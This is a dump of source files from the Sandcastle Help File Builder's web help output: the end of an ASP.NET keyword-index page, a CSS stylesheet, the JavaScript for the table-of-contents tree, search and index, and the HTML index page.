"href=\"{0}\"{1}>{2}</a>\r\n", url, target, HttpUtility.HtmlEncode(node.Attributes["Title"].Value)); if(node.ChildNodes.Count != 0) foreach(XmlNode subNode in node.ChildNodes) sb.AppendFormat("<div class=\"IndexSubItem\">\r\n" + "<img src=\"Item.gif\"/><a class=\"UnselectedNode\" " + "onclick=\"javascript: return SelectIndexNode(this);\" " + "href=\"{0}\" target=\"TopicContent\">{1}</a>\r\n</div>\r\n", subNode.Attributes["Url"].Value, HttpUtility.HtmlEncode(subNode.Attributes["Title"].Value)); sb.Append("</div>\r\n"); startIndex++; } if(startIndex < root.ChildNodes.Count) sb.Append("<div class=\"IndexItem\">\r\n" + "<span>&nbsp;</span><a class=\"UnselectedNode\" " + "onclick=\"javascript: return ChangeIndexPage(1);\" " + "href=\"#\"><b>Next page >></b></a>\r\n</div>\r\n"); writer.Write(sb.ToString()); } </script>
zyyin2005-lokad
Resource/Tool/SHFB/Web/LoadIndexKeywords.aspx
ASP.NET
bsd
3,872
/* File : TOC.css // Author : Eric Woodruff (Eric@EWoodruff.us) // Updated : 09/07/2007 // // Stylesheet for the table of content */ * { margin: 0px 0px 0px 0px; padding: 0px 0px 0px 0px; } body { font-family: verdana, arial, sans-serif; font-size: 8.5pt; background-color: #6699CC; color: White; overflow: hidden; } input { font-size: 8.5pt; } img { border: 0; margin-left: 5px; margin-right: 2px; } img.TreeNodeImg { cursor: pointer; } img.TOCLink { cursor: pointer; margin-left: 0; margin-right: 0; } a.SelectedNode, a.UnselectedNode { color: black; text-decoration: none; padding: 1px 3px 1px 3px; white-space: nowrap; } a.SelectedNode { background-color: #ffffff; border: solid 1px #999999; padding: 0px 2px 0px 2px; } a.UnselectedNode:hover, a.SelectedNode:hover { background-color: #cccccc; border: solid 1px #999999; padding: 0px 2px 0px 2px; } .Visible { display: block; margin-left: 2em; } .Hidden { display: none; } .Tree { background-color: #f0f0f0; color: Black; width: 300px; overflow: auto; } .TreeNode, .TreeItem { white-space: nowrap; margin: 2px 2px 2px 2px; } .TOCDiv { position: relative; float: left; width: 300px; height: 100%; } .TOCSizer { clear: none; float: left; width: 10px; height: 100%; background-color: #6699CC; background-image: url("Splitter.gif"); background-position:center center; background-repeat:no-repeat; position: relative; cursor: w-resize; } .TopicContent { position: relative; float: right; background-color: white; height: 100%; } .SearchOpts { padding: 5px 5px 0px 5px; background-color: lightgrey; color: black; width: 300px; } .NavOpts { padding: 5px 5px 0px 5px; background-color: lightgrey; color: black; width: 300px; } .IndexOpts { padding: 5px 5px 0px 5px; background-color: lightgrey; color: black; width: 300px; } .IndexItem { white-space: nowrap; margin: 2px 2px 2px 2px; } .IndexSubItem { white-space: nowrap; margin: 2px 2px 2px 12px; } .PaddedText { margin: 10px 10px 10px 10px; }
zyyin2005-lokad
Resource/Tool/SHFB/Web/TOC.css
CSS
bsd
2,339
//============================================================================= // System : Sandcastle Help File Builder // File : TOC.js // Author : Eric Woodruff (Eric@EWoodruff.us) // Updated : 04/11/2008 // Note : Copyright 2006-2008, Eric Woodruff, All rights reserved // Compiler: JavaScript // // This file contains the methods necessary to implement a simple tree view // for the table of content with a resizable splitter and Ajax support to // load tree nodes on demand. It also contains the script necessary to do // full-text searches. // // This code is published under the Microsoft Public License (Ms-PL). A copy // of the license should be distributed with the code. It can also be found // at the project website: http://www.CodePlex.com/SHFB. This notice, the // author's name, and all copyright notices must remain intact in all // applications, documentation, and source files. // // Version Date Who Comments // ============================================================================ // 1.3.0.0 09/12/2006 EFW Created the code // 1.4.0.2 06/15/2007 EFW Reworked to get rid of frame set and to add // support for Ajax to load tree nodes on demand. // 1.5.0.0 06/24/2007 EFW Added full-text search capabilities // 1.6.0.7 04/01/2008 EFW Merged changes from Ferdinand Prantl to add a // website keyword index. Added support for "topic" // query string option. //============================================================================= // IE flag var isIE = (navigator.userAgent.indexOf("MSIE") >= 0); // Minimum width of the TOC div var minWidth = 100; // Elements and sizing info var divTOC, divSizer, topicContent, divNavOpts, divSearchOpts, divSearchResults, divIndexOpts, divIndexResults, divTree, docBody, maxWidth, offset, txtSearchText, chkSortByTitle; // Last node selected var lastNode, lastSearchNode, lastIndexNode; // Last page with keyword index var currentIndexPage = 0; //============================================================================ // Initialize the tree view and resize the content function Initialize() { docBody = document.getElementsByTagName("body")[0]; divTOC = document.getElementById("TOCDiv"); divSizer = document.getElementById("TOCSizer"); topicContent = document.getElementById("TopicContent"); divNavOpts = document.getElementById("divNavOpts"); divSearchOpts = document.getElementById("divSearchOpts"); divSearchResults = document.getElementById("divSearchResults"); divIndexOpts = document.getElementById("divIndexOpts"); divIndexResults = document.getElementById("divIndexResults"); divTree = document.getElementById("divTree"); txtSearchText = document.getElementById("txtSearchText"); chkSortByTitle = document.getElementById("chkSortByTitle"); // The sizes are bit off in FireFox if(!isIE) divNavOpts.style.width = divSearchOpts.style.width = divIndexOpts.style.width = 292; ResizeTree(); SyncTOC(); // Use an alternate default page if a topic is specified in // the query string. var queryString = document.location.search; if(queryString != "") { var idx, options = queryString.split(/[\?\=\&]/); for(idx = 0; idx < options.length; idx++) if(options[idx] == "topic" && idx + 1 < options.length) { topicContent.src = options[idx + 1]; break; } } } //============================================================================ // Navigation and expand/collaps code // Synchronize the table of content with the selected page if possible function SyncTOC() { var idx, anchor, base, href, url, anchors, treeNode, saveNode; base = window.location.href; base = base.substr(0, base.lastIndexOf("/") + 1); if(base.substr(0, 5) == "file:" && base.substr(0, 8) != "file:///") base = base.replace("file://", "file:///"); url = GetCurrentUrl(); if(url == "") return false; if(url.substr(0, 5) == "file:" && url.substr(0, 8) != "file:///") url = url.replace("file://", "file:///"); while(true) { anchors = divTree.getElementsByTagName("A"); anchor = null; for(idx = 0; idx < anchors.length; idx++) { href = anchors[idx].href; if(href.substring(0, 7) != 'http://' && href.substring(0, 8) != 'https://' && href.substring(0, 7) != 'file://') href = base + href; if(href == url) { anchor = anchors[idx]; break; } } if(anchor == null) { // If it contains a "#", strip anything after that and try again if(url.indexOf("#") != -1) { url = url.substr(0, url.indexOf("#")); continue; } return; } break; } // If found, select it and find the parent tree node SelectNode(anchor); saveNode = anchor; lastNode = null; while(anchor != null) { if(anchor.className == "TreeNode") { treeNode = anchor; break; } anchor = anchor.parentNode; } // Expand it and all of its parents while(anchor != null) { Expand(anchor); anchor = anchor.parentNode; while(anchor != null) { if(anchor.className == "TreeNode") break; anchor = anchor.parentNode; } } lastNode = saveNode; // Scroll the node into view var windowTop = lastNode.offsetTop - divTree.offsetTop - divTree.scrollTop; var windowBottom = divTree.clientHeight - windowTop - lastNode.offsetHeight; if(windowTop < 0) divTree.scrollTop += windowTop - 30; else if(windowBottom < 0) divTree.scrollTop -= windowBottom - 30; } // Get the currently loaded URL from the IFRAME function GetCurrentUrl() { var base, url = ""; try { url = window.frames["TopicContent"].document.URL.replace(/\\/g, "/"); } catch(e) { // If this happens the user probably navigated to another frameset // that didn't make itself the topmost frameset and we don't have // control of the other frame anymore. In that case, just reload // our index page. base = window.location.href; base = base.substr(0, base.lastIndexOf("/") + 1); if(base.substr(0, 5) == "file:" && base.substr(0, 8) != "file:///") base = base.replace("file://", "file:///"); if(base.substr(0, 5) == "file:") top.location.href = base + "Index.html"; else top.location.href = base + "Index.aspx"; } return url; } // Expand or collapse all nodes function ExpandOrCollapseAll(expandNodes) { var divIdx, childIdx, img, divs = document.getElementsByTagName("DIV"); var childNodes, child, div, link, img; for(divIdx = 0; divIdx < divs.length; divIdx++) if(divs[divIdx].className == "Hidden" || divs[divIdx].className == "Visible") { childNodes = divs[divIdx].parentNode.childNodes; for(childIdx = 0; childIdx < childNodes.length; childIdx++) { child = childNodes[childIdx]; if(child.className == "TreeNodeImg") img = child; if(child.className == "Hidden" || child.className == "Visible") { div = child; break; } } if(div.className == "Visible" && !expandNodes) { div.className = "Hidden"; img.src = "Collapsed.gif"; } else if(div.className == "Hidden" && expandNodes) { div.className = "Visible"; img.src = "Expanded.gif"; if(div.innerHTML == "") FillNode(div, true) } } } // Toggle the state of the specified node function Toggle(node) { var i, childNodes, child, div, link; childNodes = node.parentNode.childNodes; for(i = 0; i < childNodes.length; i++) { child = childNodes[i]; if(child.className == "Hidden" || child.className == "Visible") { div = child; break; } } if(div.className == "Visible") { div.className = "Hidden"; node.src = "Collapsed.gif"; } else { div.className = "Visible"; node.src = "Expanded.gif"; if(div.innerHTML == "") FillNode(div, false) } } // Expand the selected node function Expand(node) { var i, childNodes, child, div, img; // If not valid, don't bother if(GetCurrentUrl() == "") return false; if(node.tagName == "A") childNodes = node.parentNode.childNodes; else childNodes = node.childNodes; for(i = 0; i < childNodes.length; i++) { child = childNodes[i]; if(child.className == "TreeNodeImg") img = child; if(child.className == "Hidden" || child.className == "Visible") { div = child; break; } } if(lastNode != null) lastNode.className = "UnselectedNode"; div.className = "Visible"; img.src = "Expanded.gif"; if(node.tagName == "A") { node.className = "SelectedNode"; lastNode = node; } if(div.innerHTML == "") FillNode(div, false) return true; } // Set the style of the specified node to "selected" function SelectNode(node) { // If not valid, don't bother if(GetCurrentUrl() == "") return false; if(lastNode != null) lastNode.className = "UnselectedNode"; node.className = "SelectedNode"; lastNode = node; return true; } //============================================================================ // Ajax-related code used to fill the tree nodes on demand function GetXmlHttpRequest() { var xmlHttp = null; // If IE7, Mozilla, Safari, etc., use the native object. // Otherwise, use the ActiveX control for IE5.x and IE6. if(window.XMLHttpRequest) xmlHttp = new XMLHttpRequest(); else if(window.ActiveXObject) xmlHttp = new ActiveXObject("MSXML2.XMLHTTP.3.0"); return xmlHttp; } // Perform an AJAX-style request for the contents of a node and put the // contents into the empty div. function FillNode(div, expandChildren) { var xmlHttp = GetXmlHttpRequest(), now = new Date(); if(xmlHttp == null) { div.innerHTML = "<b>XML HTTP request not supported!</b>"; return; } div.innerHTML = "Loading..."; // Add a unique hash to ensure it doesn't use cached results xmlHttp.open("GET", "FillNode.aspx?Id=" + div.id + "&hash=" + now.getTime(), true); xmlHttp.onreadystatechange = function() { if(xmlHttp.readyState == 4) { div.innerHTML = xmlHttp.responseText; if(expandChildren) ExpandOrCollapseAll(true); } } xmlHttp.send(null) } //============================================================================ // Resizing code // Resize the tree div so that it fills the document body function ResizeTree() { var y, newHeight; if(self.innerHeight) // All but IE y = self.innerHeight; else // IE - Strict if(document.documentElement && document.documentElement.clientHeight) y = document.documentElement.clientHeight; else // Everything else if(document.body) y = document.body.clientHeight; newHeight = y - parseInt(divNavOpts.style.height, 10) - 6; if(newHeight < 50) newHeight = 50; divTree.style.height = newHeight; newHeight = y - parseInt(divSearchOpts.style.height, 10) - 6; if(newHeight < 100) newHeight = 100; divSearchResults.style.height = newHeight; newHeight = y - parseInt(divIndexOpts.style.height, 10) - 6; if(newHeight < 25) newHeight = 25; divIndexResults.style.height = newHeight; // Resize the content div ResizeContent(); } // Resize the content div function ResizeContent() { if(isIE) maxWidth = docBody.clientWidth; else maxWidth = docBody.clientWidth - 4; topicContent.style.width = maxWidth - (divSizer.offsetLeft + divSizer.offsetWidth); maxWidth -= minWidth; } // This is called to prepare for dragging the sizer div function OnMouseDown(event) { var x; // Make sure the splitter is at the top of the z-index divSizer.style.zIndex = 5000; // The content is in an IFRAME which steals mouse events so // hide it while resizing. topicContent.style.display = "none"; if(isIE) x = window.event.clientX + document.documentElement.scrollLeft + document.body.scrollLeft; else x = event.clientX + window.scrollX; // Save starting offset offset = parseInt(divSizer.style.left, 10); if(isNaN(offset)) offset = 0; offset -= x; if(isIE) { document.attachEvent("onmousemove", OnMouseMove); document.attachEvent("onmouseup", OnMouseUp); window.event.cancelBubble = true; window.event.returnValue = false; } else { document.addEventListener("mousemove", OnMouseMove, true); document.addEventListener("mouseup", OnMouseUp, true); event.preventDefault(); } } // Resize the TOC and content divs as the sizer is dragged function OnMouseMove(event) { var x, pos; // Get cursor position with respect to the page if(isIE) x = window.event.clientX + document.documentElement.scrollLeft + document.body.scrollLeft; else x = event.clientX + window.scrollX; left = offset + x; // Adjusts the width of the TOC divs pos = (event.clientX > maxWidth) ? maxWidth : (event.clientX < minWidth) ? minWidth : event.clientX; divTOC.style.width = divSearchResults.style.width = divIndexResults.style.width = divTree.style.width = pos; if(!isIE) pos -= 8; divNavOpts.style.width = divSearchOpts.style.width = divIndexOpts.style.width = pos; // Resize the content div to fit in the remaining space ResizeContent(); } // Finish the drag operation when the mouse button is released function OnMouseUp(event) { if(isIE) { document.detachEvent("onmousemove", OnMouseMove); document.detachEvent("onmouseup", OnMouseUp); } else { document.removeEventListener("mousemove", OnMouseMove, true); document.removeEventListener("mouseup", OnMouseUp, true); } // Show the content div again topicContent.style.display = "inline"; } //============================================================================ // Search code function ShowHideSearch(show) { if(show) { divNavOpts.style.display = divTree.style.display = "none"; divSearchOpts.style.display = divSearchResults.style.display = ""; } else { divSearchOpts.style.display = divSearchResults.style.display = "none"; divNavOpts.style.display = divTree.style.display = ""; } } // When enter is hit in the search text box, do the search function OnSearchTextKeyPress(evt) { if(evt.keyCode == 13) { PerformSearch(); return false; } return true; } // Perform a keyword search function PerformSearch() { var xmlHttp = GetXmlHttpRequest(), now = new Date(); if(xmlHttp == null) { divSearchResults.innerHTML = "<b>XML HTTP request not supported!</b>"; return; } divSearchResults.innerHTML = "<span class=\"PaddedText\">Searching...</span>"; // Add a unique hash to ensure it doesn't use cached results xmlHttp.open("GET", "SearchHelp.aspx?Keywords=" + txtSearchText.value + "&SortByTitle=" + (chkSortByTitle.checked ? "true" : "false") + "&hash=" + now.getTime(), true); xmlHttp.onreadystatechange = function() { if(xmlHttp.readyState == 4) { divSearchResults.innerHTML = xmlHttp.responseText; lastSearchNode = divSearchResults.childNodes[0].childNodes[1]; if(lastSearchNode != null) { if(lastSearchNode.tagName != "A") lastSearchNode = lastSearchNode.nextSibling; SelectSearchNode(lastSearchNode); topicContent.src = lastSearchNode.href; } } } xmlHttp.send(null) } // Set the style of the specified search result node to "selected" function SelectSearchNode(node) { if(lastSearchNode != null) lastSearchNode.className = "UnselectedNode"; node.className = "SelectedNode"; lastSearchNode = node; return true; } //============================================================================ // KeyWordIndex code function ShowHideIndex(show) { if(show) { PopulateIndex(currentIndexPage); divNavOpts.style.display = divTree.style.display = "none"; divIndexOpts.style.display = divIndexResults.style.display = ""; } else { divIndexOpts.style.display = divIndexResults.style.display = "none"; divNavOpts.style.display = divTree.style.display = ""; } } // Populate keyword index function PopulateIndex(startIndex) { var xmlHttp = GetXmlHttpRequest(), now = new Date(); var firstNode; if(xmlHttp == null) { divIndexResults.innerHTML = "<b>XML HTTP request not supported!</b>"; return; } divIndexResults.innerHTML = "<span class=\"PaddedText\">Loading " + "keyword index...</span>"; // Add a unique hash to ensure it doesn't use cached results xmlHttp.open("GET", "LoadIndexKeywords.aspx?StartIndex=" + startIndex + "&hash=" + now.getTime(), true); xmlHttp.onreadystatechange = function() { if(xmlHttp.readyState == 4) { divIndexResults.innerHTML = xmlHttp.responseText; if(startIndex > 0) { firstNode = divIndexResults.childNodes[1]; if(firstNode != null && !firstNode.innerHTML) firstNode = divIndexResults.childNodes[2]; } else firstNode = divIndexResults.childNodes[0]; if(firstNode != null) lastIndexNode = firstNode.childNodes[0]; if(lastIndexNode != null) { if(lastIndexNode.tagName != "A") lastIndexNode = lastIndexNode.nextSibling; SelectIndexNode(lastIndexNode); topicContent.src = lastIndexNode.href; } currentIndexPage = startIndex; } } xmlHttp.send(null) } // Set the style of the specified keyword index node to "selected" function SelectIndexNode(node) { if(lastIndexNode != null) lastIndexNode.className = "UnselectedNode"; node.className = "SelectedNode"; lastIndexNode = node; return true; } // Changes the current page with keyword index forward or backward function ChangeIndexPage(direction) { PopulateIndex(currentIndexPage + direction); return false; }
zyyin2005-lokad
Resource/Tool/SHFB/Web/TOC.js
JavaScript
bsd
20,443
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>Table of Content</title> <link rel="stylesheet" href="TOC.css"> <script type="text/javascript" src="TOC.js"></script> </head> <body onload="javascript: Initialize();" onresize="javascript: ResizeTree();"> <form id="IndexForm" runat="server"> <div id="TOCDiv" class="TOCDiv"> <div id="divSearchOpts" class="SearchOpts" style="height: 100px; display: none;"> <img class="TOCLink" onclick="javascript: ShowHideSearch(false);" src="CloseSearch.png" height="16" width="16" alt="Hide search" style="float: right;"/> Keyword(s) for which to search: <input id="txtSearchText" type="text" style="width: 100%;" onkeypress="javascript: return OnSearchTextKeyPress(event);" /><br /> <input id="chkSortByTitle" type="checkbox" /><label for="chkSortByTitle">&nbsp;Sort results by title</label><br /> <input type="button" value="Search" onclick="javascript: return PerformSearch();" /> </div> <div id="divIndexOpts" class="IndexOpts" style="height: 25px; display: none;"> <img class="TOCLink" onclick="javascript: ShowHideIndex(false);" src="CloseSearch.png" height="17" width="17" alt="Hide index" style="float: right;"/> Keyword Index </div> <div id="divNavOpts" class="NavOpts" style="height: 20px;"> <img class="TOCLink" onclick="javascript: SyncTOC();" src="SyncTOC.gif" height="16" width="16" alt="Sync to TOC"/> <img class="TOCLink" onclick="javascript: ExpandOrCollapseAll(true);" src="ExpandAll.bmp" height="16" width="16" alt="Expand all "/> <img class="TOCLink" onclick="javascript: ExpandOrCollapseAll(false);" src="CollapseAll.bmp" height="16" width="16" alt="Collapse all" /> </div> <div class="Tree" id="divSearchResults" style="display: none;" onselectstart="javascript: return false;"> </div> <div class="Tree" id="divIndexResults" style="display: none;" onselectstart="javascript: return false;"> </div> <div class="Tree" id="divTree" onselectstart="javascript: return false;"> {@HtmlTOC} </div> </div> <div id="TOCSizer" class="TOCSizer" onmousedown="OnMouseDown(event)" onselectstart="javascript: return false;"></div> <iframe id="TopicContent" name="TopicContent" class="TopicContent" src="{@WebDefaultTopic}"> This page uses an IFRAME but your browser does not support it. </iframe> </form> </body> </html>
zyyin2005-lokad
Resource/Tool/SHFB/Web/Index.html
HTML
bsd
2,435